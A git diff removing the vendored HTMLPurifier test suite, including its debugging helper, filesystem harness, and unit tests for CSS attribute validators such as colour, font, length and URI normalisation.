100644 index 87a02adc18..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/Debugger.php +++ /dev/null @@ -1,164 +0,0 @@ -paint($mixed); -} -function paintIf($mixed, $conditional) -{ - $Debugger =& Debugger::instance(); - return $Debugger->paintIf($mixed, $conditional); -} -function paintWhen($mixed, $scopes = array()) -{ - $Debugger =& Debugger::instance(); - return $Debugger->paintWhen($mixed, $scopes); -} -function paintIfWhen($mixed, $conditional, $scopes = array()) -{ - $Debugger =& Debugger::instance(); - return $Debugger->paintIfWhen($mixed, $conditional, $scopes); -} -function addScope($id = false) -{ - $Debugger =& Debugger::instance(); - return $Debugger->addScope($id); -} -function removeScope($id) -{ - $Debugger =& Debugger::instance(); - return $Debugger->removeScope($id); -} -function resetScopes() -{ - $Debugger =& Debugger::instance(); - return $Debugger->resetScopes(); -} -function isInScopes($array = array()) -{ - $Debugger =& Debugger::instance(); - return $Debugger->isInScopes($array); -} -/**#@-*/ - - -/** - * The debugging singleton. Most interesting stuff happens here. - */ -class Debugger -{ - - public $shouldPaint = false; - public $paints = 0; - public $current_scopes = array(); - public $scope_nextID = 1; - public $add_pre = true; - - public function __construct() - { - $this->add_pre = !extension_loaded('xdebug'); - } - - public static function &instance() { - static $soleInstance = false; - if (!$soleInstance) $soleInstance = new Debugger(); - return $soleInstance; - } - - public function paintIf($mixed, $conditional) - { - if (!$conditional) return; - $this->paint($mixed); - } - - public function paintWhen($mixed, $scopes = array()) - { - if (!$this->isInScopes($scopes)) return; - $this->paint($mixed); - } - - public function paintIfWhen($mixed, $conditional, $scopes = array()) - { - if (!$conditional) return; - if (!$this->isInScopes($scopes)) return; - $this->paint($mixed); - } - - public function paint($mixed) - { - $this->paints++; - if($this->add_pre) echo '
    ';
    -        var_dump($mixed);
    -        if($this->add_pre) echo '
    '; - } - - public function addScope($id = false) - { - if ($id == false) { - $id = $this->scope_nextID++; - } - $this->current_scopes[$id] = true; - } - - public function removeScope($id) - { - if (isset($this->current_scopes[$id])) unset($this->current_scopes[$id]); - } - - public function resetScopes() - { - $this->current_scopes = array(); - $this->scope_nextID = 1; - } - - public function isInScopes($scopes = array()) - { - if (empty($this->current_scopes)) { - return false; - } - if (!is_array($scopes)) { - $scopes = array($scopes); - } - foreach ($scopes as $scope_id) { - if (empty($this->current_scopes[$scope_id])) { - return false; - } - } - if (empty($scopes)) { - if ($this->scope_nextID == 1) { - return false; - } - for($i = 1; $i < $this->scope_nextID; $i++) { - if (empty($this->current_scopes[$i])) { - return false; - } - } - } - return true; - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/FSTools/FileSystemHarness.php b/vendor/ezyang/htmlpurifier/tests/FSTools/FileSystemHarness.php deleted file mode 100644 index 8e2e21910d..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/FSTools/FileSystemHarness.php +++ /dev/null @@ -1,40 +0,0 @@ -dir = 'tmp/' . md5(uniqid(rand(), true)) . '/'; - mkdir($this->dir); - $this->oldDir = getcwd(); - - } - - public function __destruct() - { - FSTools::singleton()->rmdirr($this->dir); - } - - public function setup() - { - chdir($this->dir); - } - - public function tearDown() - { - chdir($this->oldDir); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/FSTools/FileTest.php b/vendor/ezyang/htmlpurifier/tests/FSTools/FileTest.php deleted file mode 100644 index 5952dcd57f..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/FSTools/FileTest.php +++ /dev/null @@ -1,49 +0,0 @@ -assertFalse($file->exists()); - $file->write('foobar'); - $this->assertTrue($file->exists()); - $this->assertEqual($file->get(), 'foobar'); - $file->delete(); - $this->assertFalse($file->exists()); - } - - public function testGetNonExistent() - { - $name = 'notfound.txt'; - $file = new FSTools_File($name); - $this->expectError(); - $this->assertFalse($file->get()); - } - - public function testHandle() - { - $file = new FSTools_File('foo.txt'); - $this->assertFalse($file->exists()); - $file->open('w'); - $this->assertTrue($file->exists()); - $file->put('Foobar'); - $file->close(); - $file->open('r'); - $this->assertIdentical('F', $file->getChar()); - $this->assertFalse($file->eof()); - $this->assertIdentical('oo', $file->read(2)); - $this->assertIdentical('bar', $file->getLine()); - $this->assertTrue($file->eof()); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php deleted file mode 100644 index d22e3fdfdb..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php +++ /dev/null @@ -1,134 +0,0 @@ -attr_collections = array( - 'Core' => array( - 0 => array('Soup', 'Undefined'), - 'attribute' => 'Type', - 'attribute-2' => 'Type2', - ), - 'Soup' => array( - 'attribute-3' => 'Type3-old' // overwritten - ) - ); - - $modules['Module2'] = new HTMLPurifier_HTMLModule(); - $modules['Module2']->attr_collections = array( - 'Core' => array( - 0 => array('Brocolli') - ), - 'Soup' => array( - 'attribute-3' => 'Type3' - ), - 'Brocolli' => array() - ); - - $collections->doConstruct($types, $modules); - // this is without identifier expansion or inclusions - $this->assertIdentical( - $collections->info, - array( - 'Core' => array( - 0 => array('Soup', 'Undefined', 'Brocolli'), - 'attribute' => 'Type', - 'attribute-2' => 'Type2' - ), - 'Soup' => array( - 'attribute-3' => 'Type3' - ), - 'Brocolli' => array() - ) - ); - - } - - public function test_performInclusions() - { - generate_mock_once('HTMLPurifier_AttrTypes'); - - $types = new HTMLPurifier_AttrTypesMock(); - $collections = new HTMLPurifier_AttrCollections($types, array()); - $collections->info = array( - 'Core' => array(0 => array('Inclusion', 'Undefined'), 'attr-original' => 'Type'), - 'Inclusion' => array(0 => array('SubInclusion'), 'attr' => 'Type'), - 'SubInclusion' => array('attr2' => 'Type') - ); - - $collections->performInclusions($collections->info['Core']); - $this->assertIdentical( - $collections->info['Core'], - array( - 'attr-original' => 'Type', - 'attr' => 'Type', - 'attr2' => 'Type' - ) - ); - - // test recursive - $collections->info = array( - 'One' => array(0 => array('Two'), 'one' => 'Type'), - 'Two' => array(0 => array('One'), 'two' => 'Type') - ); - $collections->performInclusions($collections->info['One']); - $this->assertIdentical( - $collections->info['One'], - array( - 'one' => 'Type', - 'two' => 'Type' - ) - ); - - } - - public function test_expandIdentifiers() - { - generate_mock_once('HTMLPurifier_AttrTypes'); - - $types = new HTMLPurifier_AttrTypesMock(); - $collections = new HTMLPurifier_AttrCollections($types, array()); - - $attr = array( - 'attr1' => 'Color', - 'attr2*' => 'URI' - ); - $c_object = new HTMLPurifier_AttrDef_HTML_Color(); - $u_object = new HTMLPurifier_AttrDef_URI(); - - $types->returns('get', $c_object, array('Color')); - $types->returns('get', $u_object, array('URI')); - - $collections->expandIdentifiers($attr, $types); - - $u_object->required = true; - $this->assertIdentical( - $attr, - array( - 'attr1' => $c_object, - 'attr2' => $u_object - ) - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php deleted file mode 100644 index 34929f1809..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php +++ /dev/null @@ -1,28 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_AlphaValue(); - - $this->assertDef('0'); - $this->assertDef('1'); - $this->assertDef('0.2'); - - // clamping to [0.0, 1,0] - $this->assertDef('1.2', '1'); - $this->assertDef('-3', '0'); - - $this->assertDef('0.0', '0'); - $this->assertDef('1.0', '1'); - $this->assertDef('000', '0'); - - $this->assertDef('asdf', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php deleted file mode 100644 index 61952d6604..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php +++ /dev/null @@ -1,68 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_BackgroundPosition(); - - // explicitly cited in spec - $this->assertDef('0% 0%'); - $this->assertDef('100% 100%'); - $this->assertDef('14% 84%'); - $this->assertDef('2cm 1cm'); - $this->assertDef('top'); - $this->assertDef('left'); - $this->assertDef('center'); - $this->assertDef('right'); - $this->assertDef('bottom'); - $this->assertDef('left top'); - $this->assertDef('center top'); - $this->assertDef('right top'); - $this->assertDef('left center'); - $this->assertDef('right center'); - $this->assertDef('left bottom'); - $this->assertDef('center bottom'); - $this->assertDef('right bottom'); - - // reordered due to internal impl details - $this->assertDef('top left', 'left top'); - $this->assertDef('top center', 'top'); - $this->assertDef('top right', 'right top'); - $this->assertDef('center left', 'left'); - $this->assertDef('center center', 'center'); - $this->assertDef('center right', 'right'); - $this->assertDef('bottom left', 'left bottom'); - $this->assertDef('bottom center', 'bottom'); - $this->assertDef('bottom right', 'right bottom'); - - // more cases from the defined syntax - $this->assertDef('1.32in 4ex'); - $this->assertDef('-14% -84.65%'); - $this->assertDef('-1in -4ex'); - $this->assertDef('-1pc 2.3%'); - - // keyword mixing - $this->assertDef('3em top'); - $this->assertDef('left 50%'); - - // fixable keyword mixing - $this->assertDef('top 3em', '3em top'); - $this->assertDef('50% left', 'left 50%'); - - // whitespace collapsing - $this->assertDef('3em top', '3em top'); - $this->assertDef("left\n \t foo ", 'left'); - - // invalid uses (we're going to be strict on these) - $this->assertDef('foo bar', false); - $this->assertDef('left left', 'left'); - $this->assertDef('left right top bottom center left', 'left bottom'); - $this->assertDef('0fr 9%', '9%'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php deleted file mode 100644 index bcf62e0d62..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php +++ /dev/null @@ -1,29 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Background($config); - - $valid = '#333 url("chess.png") repeat fixed 50% top'; - $this->assertDef($valid); - $this->assertDef('url(\'chess.png\') #333 50% top repeat fixed', $valid); - $this->assertDef( - 'rgb(34%, 56%, 33%) url(chess.png) repeat fixed top', - 'rgb(34%,56%,33%) url("chess.png") repeat fixed top' - ); - $this->assertDef( - 'rgba(74, 12, 85, 0.35) repeat fixed bottom', - 'rgba(74,12,85,0.35) repeat fixed bottom' - ); - $this->assertDef( - 'hsl(244, 47.4%, 88.1%) right center', - 'hsl(244,47.4%,88.1%) right center' - ); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php deleted file mode 100644 index 65b4c282f4..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php +++ /dev/null @@ -1,21 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Border($config); - - $this->assertDef('thick solid red', 'thick solid #FF0000'); - $this->assertDef('thick solid'); - $this->assertDef('solid red', 'solid #FF0000'); - $this->assertDef('1px solid #000'); - $this->assertDef('1px solid rgb(0, 0, 0)', '1px solid rgb(0,0,0)'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php deleted file mode 100644 index 0c7c379414..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php +++ /dev/null @@ -1,61 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Color(); - - $this->assertDef('#F00'); - $this->assertDef('#fff'); - $this->assertDef('#eeeeee'); - $this->assertDef('#808080'); - - $this->assertDef('rgb(255, 0, 0)', 'rgb(255,0,0)'); // rm spaces - $this->assertDef('rgb(100%,0%,0%)'); - $this->assertDef('rgb(50.5%,23.2%,43.9%)'); // decimals okay - $this->assertDef('rgb(-5,0,0)', 'rgb(0,0,0)'); // negative values - $this->assertDef('rgb(295,0,0)', 'rgb(255,0,0)'); // max values - $this->assertDef('rgb(12%,150%,0%)', 'rgb(12%,100%,0%)'); // percentage max values - - $this->assertDef('rgba(255, 0, 0, 0)', 'rgba(255,0,0,0)'); // rm spaces - $this->assertDef('rgba(100%,0%,0%,0.4)'); - $this->assertDef('rgba(38.1%,59.7%,1.8%,0.7)', 'rgba(38.1%,59.7%,1.8%,0.7)'); // decimals okay - - $this->assertDef('hsl(275, 45%, 81%)', 'hsl(275,45%,81%)'); // rm spaces - $this->assertDef('hsl(100,0%,0%)'); - $this->assertDef('hsl(38,59.7%,1.8%)', 'hsl(38,59.7%,1.8%)'); // decimals okay - $this->assertDef('hsl(-11,-15%,25%)', 'hsl(0,0%,25%)'); // negative values - $this->assertDef('hsl(380,125%,0%)', 'hsl(360,100%,0%)'); // max values - - $this->assertDef('hsla(100, 74%, 29%, 0)', 'hsla(100,74%,29%,0)'); // rm spaces - $this->assertDef('hsla(154,87%,21%,0.4)'); - $this->assertDef('hsla(45,94.3%,4.1%,0.7)', 'hsla(45,94.3%,4.1%,0.7)'); // decimals okay - - $this->assertDef('#G00', false); - $this->assertDef('cmyk(40, 23, 43, 23)', false); - $this->assertDef('rgb(0%, 23, 68%)', false); // no mixed type - $this->assertDef('rgb(231, 144, 28.2%)', false); // no mixed type - $this->assertDef('hsl(18%,12%,89%)', false); // integer, percentage, percentage - - // clip numbers outside sRGB gamut - $this->assertDef('rgb(200%, -10%, 0%)', 'rgb(100%,0%,0%)'); - $this->assertDef('rgb(256,-23,34)', 'rgb(255,0,34)'); - - // color keywords, of course - $this->assertDef('red', '#FF0000'); - - // malformed hex declaration - $this->assertDef('808080', '#808080'); - $this->assertDef('000000', '#000000'); - $this->assertDef('fed', '#fed'); - - // maybe hex transformations would be another nice feature - // at the very least transform rgb percent to rgb integer - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php deleted file mode 100644 index 4e1f4b0373..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php +++ /dev/null @@ -1,82 +0,0 @@ -defs =& $defs; - } - -} - -class HTMLPurifier_AttrDef_CSS_CompositeTest extends HTMLPurifier_AttrDefHarness -{ - - protected $def1, $def2; - - public function test() - { - generate_mock_once('HTMLPurifier_AttrDef'); - - $config = HTMLPurifier_Config::createDefault(); - $context = new HTMLPurifier_Context(); - - // first test: value properly validates on first definition - // so second def is never called - - $def1 = new HTMLPurifier_AttrDefMock(); - $def2 = new HTMLPurifier_AttrDefMock(); - $defs = array(&$def1, &$def2); - $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); - $input = 'FOOBAR'; - $output = 'foobar'; - $def1_params = array($input, $config, $context); - $def1->expectOnce('validate', $def1_params); - $def1->returns('validate', $output, $def1_params); - $def2->expectNever('validate'); - - $result = $def->validate($input, $config, $context); - $this->assertIdentical($output, $result); - - // second test, first def fails, second def works - - $def1 = new HTMLPurifier_AttrDefMock(); - $def2 = new HTMLPurifier_AttrDefMock(); - $defs = array(&$def1, &$def2); - $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); - $input = 'BOOMA'; - $output = 'booma'; - $def_params = array($input, $config, $context); - $def1->expectOnce('validate', $def_params); - $def1->returns('validate', false, $def_params); - $def2->expectOnce('validate', $def_params); - $def2->returns('validate', $output, $def_params); - - $result = $def->validate($input, $config, $context); - $this->assertIdentical($output, $result); - - // third test, all fail, so composite faiils - - $def1 = new HTMLPurifier_AttrDefMock(); - $def2 = new HTMLPurifier_AttrDefMock(); - $defs = array(&$def1, &$def2); - $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs); - $input = 'BOOMA'; - $output = false; - $def_params = array($input, $config, $context); - $def1->expectOnce('validate', $def_params); - $def1->returns('validate', false, $def_params); - $def2->expectOnce('validate', $def_params); - $def2->returns('validate', false, $def_params); - - $result = $def->validate($input, $config, $context); - $this->assertIdentical($output, $result); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php deleted file mode 100644 index fc4296cb29..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php +++ /dev/null @@ -1,29 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Filter(); - - $this->assertDef('none'); - - $this->assertDef('alpha(opacity=0)'); - $this->assertDef('alpha(opacity=100)'); - $this->assertDef('alpha(opacity=50)'); - $this->assertDef('alpha(opacity=342)', 'alpha(opacity=100)'); - $this->assertDef('alpha(opacity=-23)', 'alpha(opacity=0)'); - - $this->assertDef('alpha ( opacity = 0 )', 'alpha(opacity=0)'); - $this->assertDef('alpha(opacity=0,opacity=100)', 'alpha(opacity=0)'); - - $this->assertDef('progid:DXImageTransform.Microsoft.Alpha(opacity=20)'); - - $this->assertDef('progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php deleted file mode 100644 index 0bae63f6c8..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php +++ /dev/null @@ -1,53 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_FontFamily(); - - $this->assertDef('Gill, Helvetica, sans-serif'); - $this->assertDef("'Times New Roman', serif"); - $this->assertDef("\"Times New Roman\"", "'Times New Roman'"); - $this->assertDef('01234'); - $this->assertDef(',', false); - $this->assertDef('Times New Roman, serif', "'Times New Roman', serif"); - $this->assertDef($d = "'\xE5\xAE\x8B\xE4\xBD\x93'"); - $this->assertDef("\xE5\xAE\x8B\xE4\xBD\x93", $d); - $this->assertDef("'\\01'", "''"); - $this->assertDef("'\\20'", "' '"); - $this->assertDef("\\0020", "' '"); - $this->assertDef("'\\000045'", "E"); - $this->assertDef("','", false); - $this->assertDef("',' foobar','", "' foobar'"); - $this->assertDef("'\\000045a'", "Ea"); - $this->assertDef("'\\00045 a'", "Ea"); - $this->assertDef("'\\00045 a'", "'E a'"); - $this->assertDef("'\\\nf'", "f"); - // No longer supported, except maybe in NoJS mode (see source - // file for more explanation) - //$this->assertDef($d = '"John\'s Font"'); - //$this->assertDef("John's Font", $d); - //$this->assertDef("'\\','f'", "\"\\5C \", f"); - //$this->assertDef("'\\27'", "\"'\""); - //$this->assertDef('"\\22"', "\"\\22 \""); - //$this->assertDef('"\\""', "\"\\22 \""); - //$this->assertDef('"\'"', "\"'\""); - } - - public function testAllowed() - { - $this->config->set('CSS.AllowedFonts', array('serif', 'Times New Roman')); - - $this->assertDef('serif'); - $this->assertDef('sans-serif', false); - $this->assertDef('serif, sans-serif', 'serif'); - $this->assertDef('Times New Roman', "'Times New Roman'"); - $this->assertDef("'Times New Roman'"); - $this->assertDef('foo', false); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php deleted file mode 100644 index 67f25a01ee..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php +++ /dev/null @@ -1,34 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Font($config); - - // hodgepodge of usage cases from W3C spec, but " -> ' - $this->assertDef('12px/14px sans-serif'); - $this->assertDef('80% sans-serif'); - $this->assertDef("x-large/110% 'New Century Schoolbook', serif"); - $this->assertDef('bold italic large Palatino, serif'); - $this->assertDef('normal small-caps 120%/120% fantasy'); - $this->assertDef("300 italic 1.3em/1.7em 'FB Armada', sans-serif"); - $this->assertDef('600 9px Charcoal'); - $this->assertDef('600 9px/ 12px Charcoal', '600 9px/12px Charcoal'); - - // spacing - $this->assertDef('12px / 14px sans-serif', '12px/14px sans-serif'); - - // system fonts - $this->assertDef('menu'); - - $this->assertDef('800', false); - $this->assertDef('600 9px//12px Charcoal', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php deleted file mode 100644 index 9bda669f86..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php +++ /dev/null @@ -1,56 +0,0 @@ -mock = new HTMLPurifier_AttrDefMock(); - $this->def = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($this->mock, true); - } - - protected function setMock($input, $output = null) - { - if ($output === null) $output = $input; - $this->mock->expectOnce('validate', array($input, $this->config, $this->context)); - $this->mock->returns('validate', $output); - } - - public function testImportant() - { - $this->setMock('23'); - $this->assertDef('23 !important'); - } - - public function testImportantInternalDefChanged() - { - $this->setMock('23', '24'); - $this->assertDef('23 !important', '24 !important'); - } - - public function testImportantWithSpace() - { - $this->setMock('23'); - $this->assertDef('23 ! important ', '23 !important'); - } - - public function testFakeImportant() - { - $this->setMock('! foo important'); - $this->assertDef('! foo important'); - } - - public function testStrip() - { - $this->def = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($this->mock, false); - $this->setMock('23'); - $this->assertDef('23 ! important ', '23'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php deleted file mode 100644 index 74a1f302e7..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php +++ /dev/null @@ -1,49 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Length(); - - $this->assertDef('0'); - $this->assertDef('0px'); - $this->assertDef('4.5px'); - $this->assertDef('-4.5px'); - $this->assertDef('3ex'); - $this->assertDef('3em'); - $this->assertDef('3in'); - $this->assertDef('3cm'); - $this->assertDef('3mm'); - $this->assertDef('3pt'); - $this->assertDef('3pc'); - - $this->assertDef('3PX', '3px'); - - $this->assertDef('3', false); - $this->assertDef('3miles', false); - - } - - public function testNonNegative() - { - $this->def = new HTMLPurifier_AttrDef_CSS_Length('0'); - - $this->assertDef('3cm'); - $this->assertDef('-3mm', false); - - } - - public function testBounding() - { - $this->def = new HTMLPurifier_AttrDef_CSS_Length('-1in', '1in'); - $this->assertDef('1cm'); - $this->assertDef('-1cm'); - $this->assertDef('0'); - $this->assertDef('1em', false); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php deleted file mode 100644 index b101b1257d..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php +++ /dev/null @@ -1,35 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_ListStyle($config); - - $this->assertDef('lower-alpha'); - $this->assertDef('upper-roman inside'); - $this->assertDef('circle outside'); - $this->assertDef('inside'); - $this->assertDef('none'); - $this->assertDef('url("foo.gif")'); - $this->assertDef('circle url("foo.gif") inside'); - - // invalid values - $this->assertDef('outside inside', 'outside'); - - // ordering - $this->assertDef('url(foo.gif) none', 'none url("foo.gif")'); - $this->assertDef('circle lower-alpha', 'circle'); - // the spec is ambiguous about what happens in these - // cases, so we're going off the W3C CSS validator - $this->assertDef('disc none', 'disc'); - $this->assertDef('none disc', 'none'); - - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php deleted file mode 100644 index d2bcdf9370..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php +++ /dev/null @@ -1,29 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Multiple( - new HTMLPurifier_AttrDef_Integer() - ); - - $this->assertDef('1 2 3 4'); - $this->assertDef('6'); - $this->assertDef('4 5'); - $this->assertDef(' 2 54 2 3', '2 54 2 3'); - $this->assertDef("6\r3", '6 3'); - - $this->assertDef('asdf', false); - $this->assertDef('a s d f', false); - $this->assertDef('1 2 3 4 5', '1 2 3 4'); - $this->assertDef('1 2 invalid 3', '1 2 3'); - - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php deleted file mode 100644 index 901063ef15..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php +++ /dev/null @@ -1,51 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Number(); - - $this->assertDef('0'); - $this->assertDef('0.0', '0'); - $this->assertDef('1.0', '1'); - $this->assertDef('34'); - $this->assertDef('4.5'); - $this->assertDef('0.5'); - $this->assertDef('0.5', '0.5'); - $this->assertDef('-56.9'); - - $this->assertDef('0.', '0'); - $this->assertDef('.0', '0'); - $this->assertDef('0.0', '0'); - - $this->assertDef('1.', '1'); - $this->assertDef('.1', '0.1'); - - $this->assertDef('1.0', '1'); - $this->assertDef('0.1', '0.1'); - - $this->assertDef('000', '0'); - $this->assertDef(' 9', '9'); - $this->assertDef('+5.0000', '5'); - $this->assertDef('02.20', '2.2'); - $this->assertDef('2.', '2'); - - $this->assertDef('.', false); - $this->assertDef('asdf', false); - $this->assertDef('0.5.6', false); - - } - - public function testNonNegative() - { - $this->def = new HTMLPurifier_AttrDef_CSS_Number(true); - $this->assertDef('23'); - $this->assertDef('-12', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php deleted file mode 100644 index 0f1e2390f1..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php +++ /dev/null @@ -1,24 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_Percentage(); - - $this->assertDef('10%'); - $this->assertDef('1.607%'); - $this->assertDef('-567%'); - - $this->assertDef(' 100% ', '100%'); - - $this->assertDef('5', false); - $this->assertDef('asdf', false); - $this->assertDef('%', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php deleted file mode 100644 index 158445bf64..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php +++ /dev/null @@ -1,27 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_TextDecoration(); - - $this->assertDef('none'); - $this->assertDef('none underline', 'underline'); - - $this->assertDef('underline'); - $this->assertDef('overline'); - $this->assertDef('line-through overline underline'); - $this->assertDef('overline line-through'); - $this->assertDef('UNDERLINE', 'underline'); - $this->assertDef(' underline line-through ', 'underline line-through'); - - $this->assertDef('foobar underline', 'underline'); - $this->assertDef('blink', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php deleted file mode 100644 index 6a753199e0..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php +++ /dev/null @@ -1,29 +0,0 @@ -def = new HTMLPurifier_AttrDef_CSS_URI(); - - $this->assertDef('', false); - - // we could be nice but we won't be - $this->assertDef('http://www.example.com/', false); - - $this->assertDef('url(', false); - $this->assertDef('url("")', true); - $result = 'url("http://www.example.com/")'; - $this->assertDef('url(http://www.example.com/)', $result); - $this->assertDef('url("http://www.example.com/")', $result); - $this->assertDef("url('http://www.example.com/')", $result); - $this->assertDef( - ' url( "http://www.example.com/" ) ', $result); - $this->assertDef("url(http://www.example.com/foo,bar\)\'\()", - 'url("http://www.example.com/foo,bar%29%27%28")'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php 